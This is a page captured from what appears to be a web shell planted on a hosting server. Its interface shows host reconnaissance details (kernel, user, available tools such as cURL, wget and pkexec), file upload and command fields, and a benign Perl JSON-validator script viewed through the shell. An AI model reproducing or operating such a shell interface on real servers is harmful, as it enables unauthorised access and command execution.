403Webshell
Server IP : 172.67.220.81  /  Your IP : 216.73.216.210
Web Server : Apache
System : Linux semi1.us.cloudlogin.co 5.10.244-xeon-hst #1 SMP Sun Sep 14 17:09:20 UTC 2025 x86_64
User : xessglobal ( 271017)
PHP Version : 8.1.33
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : ON |  Sudo : OFF |  Pkexec : ON
Directory :  /bin/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /bin/validjson
#!/usr/bin/perl
use warnings;
use strict;
use lib '/home/ben/projects/Json3/blib/lib';
use lib '/home/ben/projects/Json3/blib/arch';
use JSON::Parse 'assert_valid_json';
use Getopt::Long;
my $ok = GetOptions (
    "verbose" => \my $verbose,
    "help" => \my $help,
);
if (! $ok || $help) {
    usage ();
    exit;
}
for my $file (@ARGV) {
    eval {
	open my $in, "<:raw", $file or die "Can't open '$file': $!";
	my $text = '';
	while (my $line = <$in>) {
	    $text .= $line;
	}
	close $in or die $!;
	assert_valid_json ($text);
    };
    if ($@) {
	my $error = $@;
	$error =~ s/\n+$//;
	if ($error !~ /\Q$file/) {
	    $error = "$file: $error";
	}
	if ($error =~ /validjson line [0-9]+\.$/) {
	    $error =~ s/\sat\s\S+\sline.*$/\./;
	}
	print "$error\n";
    }
    else {
	if ($verbose) {
	    print "'$file' is valid JSON.\n";
	}
    }
}

sub usage
{
    print <<EOF;
$0: validate JSON. Default behaviour is to produce nothing except errors.

Options:

--verbose       Get confirmation that the files are valid.
--help          View this message.

This script requires JSON::Parse to be installed.
EOF

    exit;
}

Youez - 2016 - github.com/yon3zu
LinuXploit